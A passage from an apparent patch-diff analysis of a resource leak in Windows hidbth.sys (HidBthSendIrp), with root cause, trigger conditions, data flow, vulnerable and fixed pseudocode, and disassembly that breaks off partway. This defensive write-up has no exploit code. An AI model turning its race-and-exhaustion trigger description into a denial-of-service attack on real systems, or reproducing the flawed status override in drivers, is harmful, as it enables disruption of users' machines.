&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability class&lt;/td&gt;
&lt;td&gt;Resource leak on a race-and-exhaustion-gated error path (CWE-401 missing release of memory; CWE-772 missing release of resource for the pending-request count)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HidBthSendIrp (sub_1C0005AA8)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Caller&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HidBthReadReport (sub_1C0005F70)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IOCTL dispatch entry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HidBthIoctl (sub_1C0005670)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IOCTL involved in the decision&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xB000B&lt;/code&gt; (&lt;code&gt;IOCTL_HID_READ_REPORT&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Root cause&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;HidBthSendIrp (sub_1C0005AA8)&lt;/code&gt; takes a device-extension pointer, a pending-IRP list/state structure, and an IRP. When the connection is in the forwarding state (&lt;code&gt;[rdi+0x4]==2&lt;/code&gt;) it sends the IRP straight down the stack via &lt;code&gt;IofCallDriver&lt;/code&gt;. Otherwise it adds the IRP to a pending-IRP list (for cancellation tracking) via &lt;code&gt;IrpList_EnqueueLocked (sub_1C000AEC4)&lt;/code&gt;, which also arms the IRP's cancel routine, releases its spinlocks, and — depending on the connection flags and the IOCTL code — may call &lt;code&gt;HidBthConnectToDevice (sub_1C0003AEC)&lt;/code&gt; to queue a reconnect work item.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;HidBthConnectToDevice (sub_1C0003AEC)&lt;/code&gt; acquires a remove-lock, calls &lt;code&gt;IoAllocateWorkItem&lt;/code&gt;, and queues &lt;code&gt;HidBthReconnectWorkRoutine&lt;/code&gt; via &lt;code&gt;IoQueueWorkItem&lt;/code&gt;. If &lt;code&gt;IoAllocateWorkItem&lt;/code&gt; returns NULL under pool pressure, it releases the remove-lock and returns &lt;code&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/code&gt; (&lt;code&gt;0xC000009A&lt;/code&gt;); it also returns a negative status if the remove-lock cannot be acquired (device removing).&lt;/p&gt;
&lt;p&gt;On that failure path, &lt;code&gt;HidBthSendIrp&lt;/code&gt; tries to roll back by removing the IRP from the pending list via &lt;code&gt;HidBthDequeueIrp (sub_1C0002018)&lt;/code&gt;. &lt;code&gt;HidBthDequeueIrp&lt;/code&gt; returns a boolean in &lt;code&gt;al&lt;/code&gt;: &lt;code&gt;TRUE&lt;/code&gt; (1) if it removed the IRP &lt;em&gt;and&lt;/em&gt; cleared its cancel routine before the I/O manager did (so the driver now owns the IRP), and &lt;code&gt;FALSE&lt;/code&gt; (0) if the IRP was not reclaimable — either it was not in the list, or its cancel routine had already been selected by the I/O manager (the cancel path owns the IRP and will complete it).&lt;/p&gt;
&lt;p&gt;The unpatched code, when &lt;code&gt;HidBthDequeueIrp&lt;/code&gt; returns &lt;code&gt;FALSE&lt;/code&gt;, overrides the error status with &lt;code&gt;STATUS_PENDING&lt;/code&gt; (&lt;code&gt;0x103&lt;/code&gt;) using a &lt;code&gt;cmovz&lt;/code&gt;. The patched code drops the override and returns the genuine error unconditionally.&lt;/p&gt;
&lt;h3&gt;Why the override leaks resources&lt;/h3&gt;
&lt;p&gt;The direct caller &lt;code&gt;HidBthReadReport (sub_1C0005F70)&lt;/code&gt; allocates two things per read request before calling &lt;code&gt;HidBthSendIrp&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;P&lt;/code&gt; — the read-report data buffer, &lt;code&gt;ExAllocatePoolWithTag(NonPagedPoolNx, reportLength+1, 'HidB')&lt;/code&gt; (tag &lt;code&gt;0x42646948&lt;/code&gt;), at &lt;code&gt;0x1c0006013&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reportObj&lt;/code&gt; — a report/transfer object allocated through the object vtable at &lt;code&gt;[rdi+0xE68]&lt;/code&gt; (&lt;code&gt;0x1c000603f&lt;/code&gt;); &lt;code&gt;P&lt;/code&gt; is stored inside it at &lt;code&gt;reportObj+0x88&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After &lt;code&gt;HidBthSendIrp&lt;/code&gt; returns, &lt;code&gt;HidBthReadReport&lt;/code&gt; releases these two allocations and decrements the pending-request count &lt;strong&gt;only when the returned status is negative&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1c00060ed&lt;/code&gt; &lt;code&gt;jns&lt;/code&gt; — if status &lt;code&gt;&amp;gt;= 0&lt;/code&gt;, skip &lt;code&gt;HidBthDecrementPendingRequestCount&lt;/code&gt; and instead clear the out-flag byte (&lt;code&gt;mov byte [r15], 0&lt;/code&gt; at &lt;code&gt;0x1c00060f9&lt;/code&gt;), telling &lt;code&gt;HidBthIoctl&lt;/code&gt; not to complete the IRP.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c00060ff&lt;/code&gt; &lt;code&gt;jns&lt;/code&gt; — if status &lt;code&gt;&amp;gt;= 0&lt;/code&gt;, skip the report-object free (&lt;code&gt;[rdi+0xE70]&lt;/code&gt; via &lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt; at &lt;code&gt;0x1c0006101&lt;/code&gt;) and &lt;code&gt;ExFreePool(P)&lt;/code&gt; at &lt;code&gt;0x1c0006114&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;STATUS_PENDING&lt;/code&gt; is non-negative, so when the override fires all three releases are skipped. In the reclaim-failure race, nothing else frees &lt;code&gt;P&lt;/code&gt;/&lt;code&gt;reportObj&lt;/code&gt; for this request: the report completion routine &lt;code&gt;HidBthReadCompletion (sub_1C0005DA0)&lt;/code&gt; — which is the normal releaser of &lt;code&gt;P&lt;/code&gt;, &lt;code&gt;reportObj&lt;/code&gt;, and the count — only runs when the IRP is actually sent down the stack, which does not happen on the pending/reconnect path. The IRP itself is completed exactly once, by the cancel path, so &lt;code&gt;STATUS_PENDING&lt;/code&gt; correctly stops the caller from completing it a second time — but the two pool allocations and the pending-request count are leaked. The patch makes the function return the real error, so &lt;code&gt;HidBthReadReport&lt;/code&gt; runs the release path.&lt;/p&gt;
&lt;h3&gt;Impact and reachability&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The demonstrable consequence is a &lt;strong&gt;resource leak&lt;/strong&gt;: one &lt;code&gt;'HidB'&lt;/code&gt; pool buffer, one report object, and one unit of the pending-request counter per triggering event. Sustained triggering is a potential local denial of service through non-paged-pool exhaustion.&lt;/li&gt;
&lt;li&gt;There is &lt;strong&gt;no use-after-free and no double-free&lt;/strong&gt;. In the unpatched path the IRP is completed once (by the cancel path); the caller neither completes it nor frees the request allocations, so no memory is freed twice or accessed after free as a result of this override.&lt;/li&gt;
&lt;li&gt;Reaching the override requires three conditions to coincide: the non-forwarding reconnect branch, a &lt;code&gt;HidBthConnectToDevice&lt;/code&gt; failure (work-item allocation failure or device removing), and a precisely-timed cancel of the same internal HID read IRP so that &lt;code&gt;HidBthDequeueIrp&lt;/code&gt; returns &lt;code&gt;FALSE&lt;/code&gt;. These are internal HID minidriver IRPs (&lt;code&gt;IOCTL_HID_READ_REPORT&lt;/code&gt;) issued to &lt;code&gt;hidbth.sys&lt;/code&gt; by the HID class driver; an attacker influences them only indirectly (issuing/cancelling HID reads on a paired Bluetooth HID device) and cannot deterministically control the resource-exhaustion window. Severity is therefore Low.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Data flow&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;The HID class driver dispatches an &lt;code&gt;IOCTL_HID_READ_REPORT&lt;/code&gt; (&lt;code&gt;0xB000B&lt;/code&gt;) to &lt;code&gt;hidbth.sys&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HidBthIoctl (sub_1C0005670)&lt;/code&gt; routes it to &lt;code&gt;HidBthReadReport (sub_1C0005F70)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HidBthReadReport&lt;/code&gt; allocates &lt;code&gt;P&lt;/code&gt; (&lt;code&gt;'HidB'&lt;/code&gt;) and &lt;code&gt;reportObj&lt;/code&gt;, installs &lt;code&gt;HidBthReadCompletion&lt;/code&gt; in the next-lower stack location, bumps the pending-request count, then calls &lt;code&gt;HidBthSendIrp&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HidBthSendIrp (sub_1C0005AA8)&lt;/code&gt;:&lt;/li&gt;
&lt;li&gt;Adds the IRP to the pending list (&lt;code&gt;IrpList_EnqueueLocked (sub_1C000AEC4)&lt;/code&gt;, which returns &lt;code&gt;STATUS_PENDING&lt;/code&gt; and arms the cancel routine).&lt;/li&gt;
&lt;li&gt;Releases the spinlocks.&lt;/li&gt;
&lt;li&gt;On the reconnect branch (&lt;code&gt;[rsi+0x5a6]==0&lt;/code&gt;, and for &lt;code&gt;0xB000B&lt;/code&gt; the &lt;code&gt;lock cmpxchg [rsi+0x5f4]&lt;/code&gt; succeeds), calls &lt;code&gt;HidBthConnectToDevice (sub_1C0003AEC)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HidBthConnectToDevice&lt;/code&gt; &lt;strong&gt;fails&lt;/strong&gt; (&lt;code&gt;IoAllocateWorkItem&lt;/code&gt; → NULL, or remove-lock unavailable) → returns negative status.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HidBthDequeueIrp (sub_1C0002018)&lt;/code&gt; cannot reclaim the IRP (a concurrent cancel already claimed it) → returns &lt;code&gt;FALSE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unpatched:&lt;/strong&gt; &lt;code&gt;cmovz ebp, 0x103&lt;/code&gt; overrides the failure with &lt;code&gt;STATUS_PENDING&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HidBthReadReport&lt;/code&gt; sees &lt;code&gt;status &amp;gt;= 0&lt;/code&gt;, clears the out-flag (&lt;code&gt;mov byte [r15], 0&lt;/code&gt; at &lt;code&gt;0x1c00060f9&lt;/code&gt;), skips the release path at &lt;code&gt;0x1c00060ff&lt;/code&gt;, and returns — leaking &lt;code&gt;P&lt;/code&gt;, &lt;code&gt;reportObj&lt;/code&gt;, and the pending-request count.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Vulnerable (unpatched) — &lt;code&gt;HidBthSendIrp (sub_1C0005AA8)&lt;/code&gt;, error path&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ... after IrpList_EnqueueLocked added the IRP to the pending list and armed its cancel routine ...&lt;/span&gt;
&lt;span class="c1"&gt;// ... after spinlocks were released ...&lt;/span&gt;

&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_1C0003AEC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// HidBthConnectToDevice: queue reconnect work item&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;// jns 0x1c0005c3f not taken&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;removed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_1C0002018&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// HidBthDequeueIrp: try to reclaim the IRP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// the real error&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;removed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// cancel path already owns the IRP&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_PENDING&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// 0x103  ← override&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Fixed (patched) — same path&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_1C0003AEC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// HidBthConnectToDevice&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// keep the real status&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sub_1C0002018&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// HidBthDequeueIrp: best-effort reclaim; result ignored&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// ALWAYS propagate the real error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patch is the deletion of the &lt;code&gt;test al,al / mov eax,0x103 / cmovz ebp,eax&lt;/code&gt; triplet, replaced by a direct jump to the epilogue. In the patched build the error status is carried in &lt;code&gt;ebp&lt;/code&gt; directly (&lt;code&gt;mov ebp, eax&lt;/code&gt; at &lt;code&gt;0x1c0005bcd&lt;/code&gt;) rather than through &lt;code&gt;ebx&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable function — full unpatched disassembly (&lt;code&gt;HidBthSendIrp (sub_1C0005AA8)&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AA8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AAD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AB2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AB7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AB8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005ABA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005ABC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005ABE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AC0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AC4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; r15 = &amp;amp;lock (list/state struct + 8)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AC8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; rsi = device-extension / connection state (ctx)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005ACB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005ACE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; r14 = IRP&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AD1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; rdi = list/state struct&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AD4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;103&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; default status = STATUS_PENDING&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AD9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AE0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AE5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; state == 2? (forward path)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AE9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r13b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; save IRQL&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AEC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005B1F&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; not state 2 → pend/reconnect path&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005AEE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
